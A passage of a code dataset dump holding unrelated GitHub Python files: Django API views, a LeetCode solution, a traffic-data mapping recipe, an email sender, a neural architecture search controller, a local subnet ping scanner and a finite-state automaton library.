url_path=r'(?P<slug>[-a-zA-Z0-9_]+)',\n        url_name='delete_genre'\n    )\n    def delete_genre(self, request, slug):\n        genre = get_object_or_404(Genre, slug=slug)\n        genre.delete()\n        return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass TitleViewSet(viewsets.ModelViewSet):\n    \"\"\"Viewset для объектов модели Title.\"\"\"\n    queryset = Title.objects.annotate(rating=Avg('reviews__score'))\n    serializer_class = TitleSerializer\n    filter_backends = (DjangoFilterBackend,)\n    filterset_class = TitleFilter\n    permission_classes = (IsAdminUserOrReadOnly,)\n\n    def get_serializer_method(self):\n        if self.request.method == 'GET':\n            return TitleReadSerializer\n        return TitleSerializer\n\n\nclass CommentViewSet(viewsets.ModelViewSet):\n    \"\"\"ViewSet для объектов модели Comment.\"\"\"\n    serializer_class = CommentSerializer\n    permission_classes = (IsAdminModerAuthor,)\n\n    def get_review(self):\n        review_id = self.kwargs.get('review_id')\n        return get_object_or_404(Review, pk=review_id)\n\n    def get_queryset(self):\n        return self.get_review().comments.all()\n\n    def perform_create(self, serializer):\n        serializer.save(author=self.request.user, review=self.get_review())\n\n\nclass ReviewViewSet(viewsets.ModelViewSet):\n    \"\"\"ViewSet для объектов модели Review.\"\"\"\n    serializer_class = ReviewSerializer\n    permission_classes = (IsAdminModerAuthor,)\n\n    def get_title(self):\n        title_id = self.kwargs.get('title_id')\n        return get_object_or_404(Title, pk=title_id)\n\n    def get_queryset(self):\n        return self.get_title().reviews.all()\n\n    def perform_create(self, serializer):\n        user = self.request.user\n        serializer.save(author=user, title=self.get_title())\n","repo_name":"owlproh/api_yamdb","sub_path":"api_yamdb/api/v1/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"74241173229","text":"class Solution:\n    def interpret(self, command):\n        command = list(command)\n        result = []\n        for i in range(0, len(command)):\n            if command[i] == 'G':\n                result.append('G')\n            elif command[i] == '(':\n                if command[i+1] == ')':\n                    result.append('o')\n                else:\n                    result.append('al')\n            elif command[i] == '/':\n                result.append('/')\n        return ''.join(result)\n\n\nif __name__ == '__main__':\n    command = \"G()(al)\"\n    s = Solution()\n    print(s.interpret(command))\n","repo_name":"Yang-Jianlin/python-learn","sub_path":"LeetCode/T-1678.py","file_name":"T-1678.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"29557438537","text":"import geopandas as gpd\nfrom matplotlib import pyplot as plt\nget_ipython().magic('matplotlib inline')\nget_ipython().magic(\"run '/Users/fcc/Documents/digital-connector-python/recipe.py'\")\ndc_dir = '/Documents/TomboloDigitalConnector'\n\n\n# import geopandas as gpd\n# import os\n# from pathlib import Path\n# from matplotlib import pyplot as plt\n\n# home_dir = str(Path.home())\n\n# %matplotlib inline\n# %run os.path.join(home_dir, 'Desktop/python_library_dc/digital-connector-python/recipe.py')\n# dc_dir = '/Desktop/TomboloDigitalConnector'\n\n### recipe's subject\n\n# Notice that we are using two more subjects here. These will serve different purposes. \n# We will use subject_la to subset the road network for the borough of Islington. We will use an intersect spatial operation\n# to do that. \nsubject_la = Subject(subject_type_label='localAuthority',provider_label='uk.gov.ons',\n                  match_rule=Match_Rule(attribute_to_match_on=\"name\", pattern=\"Islington\"))\n\n# This is our road network subject\nsubject = Subject(subject_type_label='space_syntax',provider_label='com.spacesyntax',\n                  geo_match_rule=Geo_Match_Rule(geo_relation=\"intersects\", subjects=[subject_la]))\n\nsubject_lsoa = Subject(subject_type_label='lsoa',provider_label='uk.gov.ons')\n\n# subject_geometry_dft fetches the traffic counter locations represented as points\nsubject_geometry_dft = Subject(provider_label='uk.gov.dft',\n                               subject_type_label='trafficCounter')\n\n\n### recipe's datasources\n\nla = Datasource(importer_class='uk.org.tombolo.importer.ons.OaImporter',\n                            datasource_id='localAuthority')\n\nopenmap = Datasource(importer_class='uk.org.tombolo.importer.spacesyntax.OpenMappingImporter',\n                            datasource_id='SpaceSyntaxOpenMapping')\n\ntrafficCounts = Datasource(importer_class='uk.org.tombolo.importer.dft.TrafficCountImporter',\n                           datasource_id='trafficCounts',\n                           geography_scope = [\"London\"]) ## Note that geography scope is specific\n\n### First, lets get our attributes\n\ncountPedalCycles_attribute = AttributeMatcher(provider='uk.gov.dft',\n                                     label='CountPedalCycles')\n\ncountCarTaxis_attribute = AttributeMatcher(provider='uk.gov.dft',\n                                     label='CountCarsTaxis')\n\nintegration_2km = AttributeMatcher(label='integration2km',provider='com.spacesyntax')\n\n### DC fields\n\n# A very basic field that can handle numeric and time series attributes is LatestValueField. This essentially\n# fetches the latest value within a time series if a time series exists. If not, it will just fetch the default value.\nintegration_2km_f = LatestValueField(attribute_matcher=integration_2km,\n                                           label = 'Integration 2km')\n\n\ncount_pedal_cycles_f = LatestValueField(attribute_matcher=countCarTaxis_attribute,\n                                          label='count_pedal_cycles')\n\n\ncount_car_taxis_f = LatestValueField(attribute_matcher=countPedalCycles_attribute,\n                                          label='count_car_taxis')\n\n\n# Next we need to assign the traffic counts to our subject\n# As DfT traffic count geometry is points (the traffic count sensor location) we need to assign it to the nearest \n# road segment. For that we use MapToNearestSubjectField\n\nm_count_pedal_cycles_f = MapToNearestSubjectField(field=count_pedal_cycles_f,\n                                        label='Pedal traffic count',\n                                        subject = subject_geometry_dft,\n                                        max_radius = 1.)\n\nm_count_car_taxis_f = MapToNearestSubjectField(field=count_car_taxis_f,\n                                        label='Car/Taxi traffic count',\n                                        subject = subject_geometry_dft,\n                                        max_radius = 1.)\n### running DC\ndataset = Dataset(subjects=[subject],\n                  fields=[integration_2km_f,\n                          m_count_pedal_cycles_f,\n                          m_count_car_taxis_f],\n                  datasources=[la,\n                               openmap,\n                               trafficCounts])\n\n\n\nrecipe = Recipe(dataset,timestamp=False)\nrecipe.build_recipe(console_print=False)\n\nrecipe.run_recipe(tombolo_path='/Users/fcc/Documents/TomboloDigitalConnector',\n                  clear_database_cache=False,\n                  output_path = 'Documents/test.json')\n\ngdf = gpd.read_file(\"/Users/fcc/Documents/test.json\")\ngdf.head()\n\nvmin=gdf['Integration 2km'].min()\nvmax=gdf['Integration 2km'].max()\n    \nax = gdf.plot(column='Integration 2km', cmap='viridis',\n              vmin=vmin,\n              vmax=vmax)\n\n# add colorbar\nfig = ax.get_figure()\ncax = fig.add_axes([0.9, 0.1, 0.03, 0.8])\nsm = plt.cm.ScalarMappable(cmap='viridis', norm=plt.Normalize(vmin=vmin, vmax=vmax))\nsm._A = []\nfig.colorbar(sm, cax=cax)\n\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/city-data-hack-active-travel.py","file_name":"city-data-hack-active-travel.py","file_ext":"py","file_size_in_byte":4946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"74810014830","text":"import smtplib, ssl\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nfrom vocabulary_extractor import *\nimport os\n\n\n# Pointing path for crontab so that it sees .docx\nabspath = os.path.abspath(__file__)\ndname = os.path.dirname(abspath)\nos.chdir(dname)\n\n\nCHOSEN_WORDS = choose_random_words(DOCUMENT_NAME, 2)\n\n\nsender_email = \"learn.python.web.programming@gmail.com\"\nreceiver_email = \"katharina.education@gmail.com\"\n\nmessage = MIMEMultipart(\"alternative\")\nmessage[\"Subject\"] = \"Vocabulary to learn!\"\nmessage[\"From\"] = sender_email\nmessage[\"To\"] = receiver_email\n\n# Create the plain-text and HTML version of your message\ntext = f\"\"\"\\\nHi,\nHere are the words to learn for today:\\n\n{CHOSEN_WORDS[0]}\n{CHOSEN_WORDS[-1]}\\n\nHave a nice day!\\n\n***This message was sent using Python automation program :)***\n\"\"\"\n\nhtml = f\"\"\"\\\n<html>\n  <body>\n    <p>Hi,</p>\n       <p>Here are the words to learn for today:</p>\n        <ul>\n        <li>{CHOSEN_WORDS[0]}</li>\n        <li>{CHOSEN_WORDS[-1]}</li>\\n\n        </ul>\n        Have a nice day!\n    </p>\n    <p>\n    ***This message was sent using Python automation program :)***\n    </p>\n  </body>\n</html>\n\"\"\"\n\n# Turn these into plain/html MIMEText objects\npart1 = MIMEText(text, \"plain\")\npart2 = MIMEText(html, \"html\")\n\n# Add HTML/plain-text parts to MIMEMultipart message\n# The email client will try to render the last part first\nmessage.attach(part1)\nmessage.attach(part2)\n\n# Create secure connection with server and send email\ncontext = ssl.create_default_context()\n\nwith smtplib.SMTP_SSL(\"smtp.gmail.com\", 465, context=context) as server:\n    server.login(sender_email, \"password\")\n    server.sendmail(\n        sender_email, receiver_email, message.as_string()\n    )\n    print(\"Email was sent!\")","repo_name":"kath92/Vocabulary-Sender","sub_path":"email_sender.py","file_name":"email_sender.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"6393805408","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.optim as optim\nimport torch.nn.functional as F\nfrom model import Net\n\nclass Controller(nn.Module):\n\n    def __init__(self, num_actions=10, hidden_size=64):\n        super(Controller, self).__init__()\n\n        self.cell = nn.GRUCell(\n            input_size=num_actions,\n            hidden_size=hidden_size\n        )\n\n        self.fc = nn.Linear(\n            in_features=hidden_size,\n            out_features=num_actions\n        )\n\n        self.num_actions = num_actions\n        self.hidden_size = hidden_size\n        self.epsilon = 0.8\n        self.gamma = 1.0\n        self.beta = 0.01\n        self.max_depth = 6\n        self.clip_norm = 0\n        self.log_probs = []\n        self.actions = []\n        self.entropies = []\n        self.reward = None\n\n        self.index_to_action = {\n            0: 1,\n            1: 2,\n            2: 4,\n            3: 8,\n            4: 16,\n            5: 'Sigmoid',\n            6: 'Tanh',\n            7: 'ReLU',\n            8: 'LeakyReLU',\n            9: 'EOS'\n        }\n\n        self.optimizer = optim.Adam(self.parameters(), lr=1e-2)\n\n\n    def forward(self, x, h):\n        x = x.unsqueeze(dim=0)\n        h = h.unsqueeze(dim=0)\n\n        h = self.cell(x, h)\n        x = self.fc(h)\n\n        x = x.squeeze(dim=0)\n        h = h.squeeze(dim=0)\n\n        return x, h\n\n    \n    def step(self, state):\n        logits, new_state = self(torch.zeros(self.num_actions), state)\n        \n        idx = torch.distributions.Categorical(logits=logits).sample()\n        probs = F.softmax(logits, dim=-1)\n        log_probs = torch.log(probs)\n\n        action = self.index_to_action[int(idx)]\n        self.actions.append(action)\n\n        entropy = -(log_probs * probs).sum(dim=-1)\n        self.entropies.append(entropy)\n\n        if action == 'EOS' and len(self.actions) <= 2:\n            self.reward -= 1\n        elif len(self.actions) >= 2 and isinstance(self.actions[-1], int) and isinstance(self.actions[-2], int):\n            self.reward -= 0.1\n        elif len(self.actions) >= 2 and isinstance(self.actions[-1], str) and isinstance(self.actions[-2], str) and action != 'EOS':\n            self.reward -= 0.1\n\n        terminate = action == 'EOS' or len(self.actions) == self.max_depth\n\n        return log_probs[idx], new_state, terminate\n\n\n    def generate_rollout(self, iter_train, iter_dev, verbose=False):\n        self.log_probs = []\n        self.actions = []\n        self.entropies = []\n        self.reward = None\n\n        state = torch.zeros(self.hidden_size)\n        terminated = False\n        self.reward = 0\n\n        while not terminated:\n            log_prob, state, terminated = self.step(state)\n            self.log_probs.append(log_prob)\n\n        if verbose:\n            print('\\nGenerated network:')\n            print(self.actions)\n\n        net = Net(self.actions)\n        accuracy = net.fit(iter_train, iter_dev)\n        self.reward += accuracy\n\n        return self.reward\n\n    \n    def optimize(self):\n        G = torch.ones(1) * self.reward\n        loss = 0\n\n        for i in reversed(range(len(self.log_probs))):\n            G = self.gamma * G\n            loss = loss - (self.log_probs[i]*Variable(G)) - self.beta * self.entropies[i]\n\n        loss /= len(self.log_probs)\n        \n        self.optimizer.zero_grad()\n        loss.backward()\n\n        if self.clip_norm > 0:\n            nn.utils.clip_grad_norm_(self.parameters(), self.clip_norm)\n\n        self.optimizer.step()\n\n        return float(loss.data.numpy())\n","repo_name":"nicklashansen/minimal-nas","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":3550,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"38"}
{"seq_id":"3305962413","text":"import sys\nsys.path.append('D:\\\\These Clément\\\\these\\\\python_clément')\nsys.path.append('/home/zouzou/these/python_clément')\nfrom analyse import *\n\n\n\n\ndata=np.zeros((11,11))\nfor i in range(11) :\n\tfor j in range(11) :\n\t\tx,y=extract_data('x=%i.000000,y=%i.000000'%(i,j))\n\t\tdata[i,j]=max(y)\n\t\txmin=73\n\t\txmax=85\n\t\tx=x[xmin:xmax]\n\t\ty=y[xmin:xmax]\n\t\t[a,b],yfit=lin_fit(x,y)\n\n\n\ndata[10,10]=np.NaN\t\t\nprint_map(data)\n\n\n\n# x,y=extract_data('x=%i.000000,y=%i.000000'%(0,0))\n# plt.plot(x,y,'x-')\n\n# xmin=73\n# xmax=85\n# x=x[xmin:xmax]\n# y=y[xmin:xmax]\n# [a,b],yfit=lin_fit(x,y)\n# print(-b/a,a)\n# plt.plot(x,yfit)\n\n# xmin=437\n# xmax=449\n# x=x[xmin:xmax]\n# y=y[xmin:xmax]\n# [a,b],yfit=lin_fit(x,y)\n# print(-b/a,a)\n# plt.plot(x,yfit)\n\n# x,y=extract_data('x=%i.000000,y=%i.000000'%(1,0))\n# plt.plot(x,y,'x-')\n\nplt.show()\n","repo_name":"cpelletm/these","sub_path":"data/20211118/Série ESR 100 modul f/traitement.py","file_name":"traitement.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"29310717113","text":"def metade(valor=0, form=False):\r\n    novo_valor = valor / 2\r\n    if form == True:\r\n        return moeda(novo_valor)\r\n    else:\r\n        return novo_valor\r\n\r\n    \r\ndef dobro(valor=0, form=False):\r\n    novo_valor = valor * 2\r\n    if form == True:\r\n        return moeda(novo_valor)\r\n    else:\r\n        return novo_valor\r\n\r\n\r\ndef aumentar(valor=0, p=0, form=False):\r\n    novo_valor = valor + ((valor * p) / 100)\r\n    if form == True:\r\n        return moeda(novo_valor)\r\n    else:\r\n        return novo_valor\r\n\r\n\r\ndef diminuir(valor=0, p=0, form=False):\r\n    novo_valor = valor - ((valor * p) / 100)\r\n    if form == True:\r\n        return moeda(novo_valor)\r\n    else:\r\n        return novo_valor\r\n\r\n\r\ndef moeda(valor=0, moeda='RS'):\r\n    novo_valor = (f'{moeda} {valor:.2f}'.replace('.', ','))\r\n    return novo_valor\r\n\r\n\r\ndef resumo(valor=0, aumento=0, reducao=0):\r\n    print(f'''{\"-\" * 35}\r\n{\"RESUMO DO VALOR\":^35}\r\n{\"-\" * 35}''')\r\n    print(f'Preço analisado:{moeda(valor):>19}')\r\n    print(f'Dobro do preço:{dobro(valor, True):>20}')\r\n    print(f'Metade do preço:{metade(valor, True):>19}')\r\n    print(f'{aumento}% de aumento:{aumentar(valor, aumento, True):>20}')\r\n    print(f'{reducao}% de redução:{diminuir(valor, reducao, True):>20}')\r\n","repo_name":"jw-oliveira/exercicios-python","sub_path":"mundo3/pacote/moeda/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"25081230022","text":"import os\r\nimport socket\r\nimport netifaces\r\nfrom queue import Queue\r\nfrom threading import Thread\r\nfrom scapy.all import srp, Ether, ARP, conf\r\n\r\n\r\n\r\n\r\n# Get the IP address of the default gateway\r\ngateway_ip = netifaces.gateways()['default'][netifaces.AF_INET][0]\r\nprint(\"_\"*100+\"\\n\")\r\nprint(f'Your gateway address is {gateway_ip}')\r\nprint(\"\\n\")\r\n\r\nip_range = '.'.join(gateway_ip.split('.')[:-1])\r\n\r\n\r\n\r\n# Get the IP address of the local interface\r\ninterface_name = netifaces.gateways()['default'][netifaces.AF_INET][1]\r\ninterface_ip = netifaces.ifaddresses(interface_name)[netifaces.AF_INET][0]['addr']\r\n\r\n# Print your IP address\r\nprint(\"_\"*100+\"\\n\")\r\nprint(\"Your IP address is:\", interface_ip)\r\nprint(\"\\n\")\r\n\r\nprint(\"_\"*100+\"\\n\")\r\nprint(\"LIVE IP ADDRESSES ON YOUR SUBNET:\")\r\nprint(\"\\n\")\r\n\r\n\r\n\r\n\r\n\r\ndef do_stuff(q):\r\n    while True:\r\n        ip=ip_range + \".\" + str(q.get())\r\n        response = os.popen(f\"ping  {ip} -c 1\").read()\r\n        if \"1 packets received\" in response:\r\n            try:\r\n                hostname = socket.gethostbyaddr(ip)[0]\r\n                print(\" {}ONLINE\".format( hostname))\r\n            except socket.error:\r\n                hostname = \"No HOST NAME \"\r\n                print(\" {}{} ONLINE\".format( hostname,ip))\r\n        q.task_done()\r\n\r\n\r\n\r\nq = Queue(maxsize=0)\r\nnum_threads = 100\r\n\r\n\r\nfor i in range(num_threads):\r\n    worker = Thread(target=do_stuff, args=(q,))\r\n    worker.setDaemon(True)\r\n    worker.start()\r\n\r\n\r\n\r\nfor x in range(1,256):\r\n    q.put(x)\r\n\r\n\r\n\r\n\r\nq.join()\r\n\r\n# Check to see if the queue is empty. if it is print 'Done!'\r\nif q.qsize() == 0:\r\n    print('Done!')\r\n\r\n\r\n","repo_name":"140475/LOCALIPFINDER","sub_path":"subnet_friends_finder.py","file_name":"subnet_friends_finder.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"43829012959","text":"\"\"\"MiraAssemblyFormat class for the 'mira' format within Galaxy.\"\"\"\n\nfrom galaxy.datatypes.data import Text\n\n\nclass MiraAssemblyFormat(Text):\n    \"\"\"MIRA Assembly Format  data.\"\"\"\n\n    file_ext = \"mira\"\n\n    def sniff(self, filename):\n        \"\"\"Determine if the file is a MIRA Assembly Format file.\n\n        Note currently this only detects MIRA Assembly Format v2.0,\n        as used in MIRA v3.9 and v4.0.\n\n        It does not detect MIRA Assembly Format v1 as used in both\n        MIRA v3.2 and v3.4.\n        \"\"\"\n        h = open(filename)\n        line = h.readline()\n        if line.rstrip() != \"@Version\\t2\\t0\":\n            h.close()\n            return False\n        line = h.readline()\n        if line.rstrip() != \"@Program\\tMIRALIB\":\n            h.close()\n            return False\n        return True\n\n    def merge(split_files, output_file):\n        \"\"\"Merge MIRA assembly files (not implemented).\n\n        Merging multiple MIRA files is non-trivial and may not be possible...\n        \"\"\"\n        if len(split_files) == 1:\n            # For one file only, use base class method (move/copy)\n            return Text.merge(split_files, output_file)\n        if not split_files:\n            raise ValueError(\n                \"No MIRA files to merge, %r, into %r\" % (split_files, output_file)\n            )\n        raise NotImplementedError(\n            \"Merging MIRA Assembly Files has not been implemented\"\n        )\n\n    merge = staticmethod(merge)\n\n    def split(cls, input_datasets, subdir_generator_function, split_params):\n        \"\"\"Split a MIRA Assembly File (not implemented for now).\"\"\"\n        if split_params is None:\n            return None\n        raise NotImplementedError(\"Can't yet split a MIRA Assembly Format file\")\n\n    merge = staticmethod(merge)\n","repo_name":"peterjc/galaxy_mira","sub_path":"datatypes/mira_datatypes/mira.py","file_name":"mira.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"}
{"seq_id":"12834095739","text":"my_value = int(5)\nvalue = int(input(\"Введи число and press Enter:\"))\nwhile value != my_value or value == my_value:\n    if value > my_value:\n        value = int(input(\"Введите число меньше\"))\n    elif value < my_value:\n        value = int(input(\"Введите число больше\"))\n    else:\n        print(\"ты угадал\" + \" \" + str(5))\n        print('Спасибо за игру !')\n        break\n\nstr_ = input('Введите строку: ')\n\nif len(str_) > 2:\n    if str_[-3:] == 'ing':\n        str_ += 'ly'\n    else:\n        str_ += 'ing'\nprint(str_)\n","repo_name":"Oleksandr-hr/homework-Hillel","sub_path":"task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"16043744554","text":"\n\nfo = open(\"a.txt\", \"r\")\n\n\nprint(\"Name of the file: \", fo.name)\nline = fo.readlines()\n\n\ndef namata(n):\n\n  for i in range(1, 11):\n     print(str(int(n))+'x'+str(int(i))+'=' + str(int(n)*int(i)))\n     k=str(int(n)*int(i)) \n     file= open(\"b.txt\", \"a\")\n     file.write(f'{int(n)} x {int(i)} = {k}\\n')\n     file.close()\n\n    \n     \n \n  return k\n   \n\n\n\nfor j in range(len(line)):\n  namata(line[j])\n","repo_name":"Shohanurcsevu/Python","sub_path":"submission/sohan/readlines.py","file_name":"readlines.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"40947568347","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\n\nfrom io import open\n\nfrom unitex import *\n\n_LOGGER = logging.getLogger(__name__)\n\n\n\nclass FSAConstants:\n\n    EPSILON = \"<E>\"\n\n    DEPTH_FIRST_SEARCH = \"dfs\"\n    BREADTH_FIRST_SEARCH = \"bfs\"\n\n\n\nclass Edge(object):\n\n    def __init__(self, label, targets=None, source=None):\n        self.__label = label\n\n        self.__source = source\n\n        self.__targets = targets\n        if self.__targets is not None:\n            self.__tids = set([target.get_id() for target in targets])\n\n    def __len__(self):\n        return len(self.__targets)\n\n    def __str__(self):\n        label = self.get_label()\n        label = label.encode(UnitexConstants.DEFAULT_ENCODING)\n        return label\n\n    def __unicode__(self):\n        return u\"%s\" % self.get_label()\n\n    def __hash__(self):\n        return hash(self.get_label())\n\n    def __cmp__(self, e):\n        return cmp(self.get_label(), self.get_label())\n\n    def __iter__(self):\n        for target in self.__targets:\n            yield target\n\n    def __contains__(self, target):\n        return True if target.get_id() in self.__tids else False\n\n    def __getitem__(self, i):\n        return self.__targets[i]\n\n    def get_label(self):\n        return self.__label\n\n    def get_source(self):\n        return self.__source\n\n    def set_source(self, source):\n        self.__source = source\n\n    def get_targets(self):\n        return self.__targets\n\n    def set_targets(self, targets):\n        self.__targets = targets\n        self.__tids = set([target.get_id() for target in targets])\n\n    def add_target(self, target):\n        if target.get_id() in self.__tids:\n            return\n        self.__targets.append(target)\n\n    def del_target(self, target):\n        if target.get_id() not in self.__tids:\n            return\n\n        self.__tids.remove(target.get_id())\n\n        for i in range(len(self.__targets)):\n            _target = self.__targets[i]\n            if _target.get_id() == target.get_id():\n                del self.__targets[i]\n                break\n\n\n\nclass Node(object):\n\n    def __init__(self, _id, final=False):\n        self.__id = _id\n\n        self.__final = final\n        self.__edges = {}\n\n        self.__depth = 0\n\n        self.__visited = False\n\n    def __len__(self):\n        return len(self.__edges)\n\n    def __contains__(self, label):\n        return label in self.__edges\n\n    def __getitem__(self, label):\n        return self.__edges.get(label, None)\n\n    def __iter__(self):\n        for label in self.__edges:\n            yield label\n\n    def __str__(self):\n        node = self.__unicode__()\n        node = node.encode(UnitexConstants.DEFAULT_ENCODING)\n        return node\n\n    def __unicode__(self):\n        s = u\"NODE[%s]\" % str(self.get_id())\n\n        if self.is_final():\n            s += u\" -- FINAL\"\n\n        for label in self:\n            targets = u\" | \".join([str(target.get_id()) for target in self[label]])\n            s += u\"\\n\\t%s -> (%s)\" % (label, targets)\n\n        return s\n\n    def get_id(self):\n        return self.__id\n\n    def set_id(self, i):\n        self.__id = i\n\n    def is_deterministic(self):\n        if FSAConstants.EPSILON in self.__edges:\n            return False\n\n        for label in self.__edges:\n            if len(self[label]) > 1:\n                return False\n\n        return True\n\n    def exists(self, label, node=None):\n        if not label in self:\n            return False\n\n        if node is not None and node not in self[label]:\n            return False\n\n        return True\n\n    def add(self, label, target):\n        if self.exists(label, target) is True:\n            return\n\n        if self.exists(label) is False:\n            edge = Edge(label, [target], self)\n            self.__edges[label] = edge\n        else:\n            self[label].add_target(target)\n\n    def delete(self, label, node=None):\n        if not self.exists(label, node):\n            raise UnitexException(\"Edge not found: %s\" % label)\n\n        if node is None:\n            del self.__edges[label]\n        else:\n            self[label].del_target(node)\n\n    def set_depth(self, depth):\n        self.__depth = depth\n\n    def get_depth(self):\n        return self.__depth\n\n    def is_visited(self):\n        return self.__visited\n\n    def set_visited(self, visited=True):\n        self.__visited = visited\n\n    def is_final(self):\n        return self.__final\n\n    def set_final(self, final=True):\n        self.__final = final\n\n\n\nclass NodeSets(object):\n\n    def __init__ (self):\n        self.__sets = {}\n\n    def __getitem__(self, _id):\n        return self.__sets[_id]\n\n    def __contains__(self, s):\n        return s in self.all()\n\n    def __iter__ (self):\n        return iter(self.all())\n\n    def all(self):\n        return set([tuple(l) for l in self.__sets.values()])\n\n    def add(self, s):\n        _set = tuple(sorted(set(s)))\n        for _id in s:\n            self.__sets[_id] = _set\n\n\n\nclass Automaton(object):\n\n    def __init__(self, name=\"Automaton\"):\n        self.__name = name\n\n        self.__nodes = []\n\n        self.__initial = 0\n        self.__finals = []\n\n        self.__nodes.append(Node(self.__initial, False))\n\n    def __len__(self):\n        return len(self.__nodes)\n\n    def __getitem__(self, _id):\n        try:\n            return self.__nodes[_id]\n        except IndexError:\n            return None\n\n    def __iter__(self):\n        for node in self.__nodes:\n            yield node\n\n    def __str__(self):\n        automaton = self.__unicode__()\n        automaton = automaton.encode(UnitexConstants.DEFAULT_ENCODING)\n        return automaton\n\n    def __unicode__(self):\n        title = u\"# FSA -- %s #\" % self.get_name()\n\n        s = u\"%s\\n%s\\n%s\\n\\n\" % (\"#\" * len(title), title, \"#\" * len(title))\n\n        for node in self:\n            s += u\"%s\\n\\n\" % node\n\n        return s\n\n    def get_name(self):\n        return self.__name\n\n    def set_name(self, name):\n        self.__name = name\n\n    def get_depth(self):\n        depth = 0\n        for nid in self.__finals:\n            final = self.__nodes[nid]\n\n            if final.get_depth() > depth:\n                depth = final.get_depth()\n\n        return depth\n\n    def get_initial(self):\n        return self.__initial\n\n    def set_initial(self, initial):\n        self.__initial = initial\n\n    def get_finals(self):\n        return self.__finals\n\n    def set_finals(self, finals):\n        self.__finals = finals\n\n    def get_nodes(self):\n        return self.__nodes\n\n    def set_nodes(self, nodes):\n        self.__nodes = nodes\n\n    def add_edge(self, label, sid, tid):\n        source = self[sid]\n        target = self[tid]\n\n        target.set_depth(source.get_depth() + 1)\n\n        source.add(label, target)\n\n    def add_node(self, initial=False, final=False):\n        if initial is True:\n            return self.__initial\n        elif final is True:\n            self.__finals.append(len(self.__nodes))\n            self.__nodes.append(Node(self.__finals[-1], True))\n            return self.__finals[-1]\n\n        nid = len(self.__nodes)\n\n        self.__nodes.append(Node(nid, final))\n\n        return nid\n\n    def add_path(self, path):\n        if len(path) == 0:\n            raise UnitexException(\"Empty path!\")\n        sid = self.add_node(initial=True, final=False)\n\n        for label in path[:-1]:\n            tid = self.add_node(initial=False, final=False)\n            self.add_edge(label, sid, tid)\n\n            sid = tid\n        else:\n            self.add_edge(path[-1], sid, self.add_node(initial=False, final=True))\n\n    def get_alphabet(self):\n        alphabet = set()\n\n        for node in self:\n            for label in node:\n                alphabet.add(label)\n\n        return tuple(alphabet)\n\n    def is_deterministic(self):\n        for node in self:\n            if not node.is_deterministic():\n                return False\n        return True\n\n    def __closure(self, nid):\n        stack = [nid]\n        result = set(stack)\n\n        while len(stack) > 0:\n            current = stack.pop()\n\n            if FSAConstants.EPSILON in self[current]:\n                edge = self[current][FSAConstants.EPSILON]\n                if edge not in result:\n                    stack.append(edge)\n                    result.add(edge)\n\n        return tuple(result)\n\n    def determinize(self):\n        dfa = Automaton(\"DETERMINIZED(%s)\" % self.get_name())\n\n        alphabet = self.get_alphabet()\n\n        initials = self.__closure(self.get_initial())\n\n        hid = dfa.add_node(initial=True, final=False)\n\n        visited = {}\n        visited[initials] = hid\n\n        stack = [initials]\n        while len(stack) > 0:\n            current = stack.pop()\n\n            for label in alphabet:\n                new = set()\n                for node in current:\n                    if not label in self[node]:\n                        continue\n                    for next in self[node][label]:\n                        new.update(self.__closure(next.get_id()))\n                new = tuple(new)\n\n                if len(new) == 0:\n                    continue\n\n                if new not in visited:\n                    stack.append(new)\n\n                    final = True in [self[_id].is_final() for _id in new]\n                    nid = dfa.add_node(final=final)\n\n                    visited[new] = nid\n\n                dfa.add_edge(label, visited[current], visited[new])\n\n        self.set_name(dfa.get_name())\n\n        self.set_initial(dfa.get_initial())\n        self.set_finals(dfa.get_finals())\n\n        self.set_nodes(dfa.get_nodes())\n\n    def minimize(self):\n        min = Automaton(\"MINIMIZED(%s)\" % self.get_name())\n\n        alphabet = self.get_alphabet()\n\n        nodetoset = {}\n        settonode = {}\n\n        sets = NodeSets()\n\n        rest, final = [], []\n        for node in self:\n            if node.is_final():\n                final.append(node.get_id())\n            else:\n                rest.append(node.get_id())\n\n        sets.add(rest)\n        sets.add(final)\n\n        stack = [s for s in sets if len(s) > 1]\n\n        def target_set(_id, label):\n            edge = self[_id][label]\n\n            if edge is None:\n                return None\n            else:\n                return sets[edge[0].get_id()]\n\n        while len(stack) > 0:\n            current = stack.pop()\n\n            for label in alphabet:\n                target = target_set(current[0], label)\n\n                one, two = [current[0]], []\n                for _id in current[1:]:\n                    if target_set(_id, label) == target:\n                        one.append(_id)\n                    else:\n                        two.append(_id)\n\n                if len(two) > 0:\n                    sets.add(one)\n                    sets.add(two)\n\n                    if len(one) > 1:\n                        stack.append(one)\n                    if len(two) > 1:\n                        stack.append(two)\n\n                    break\n\n        for s in sets:\n            initial = self.get_initial() in s\n            final = True in [self[_id].is_final() for _id 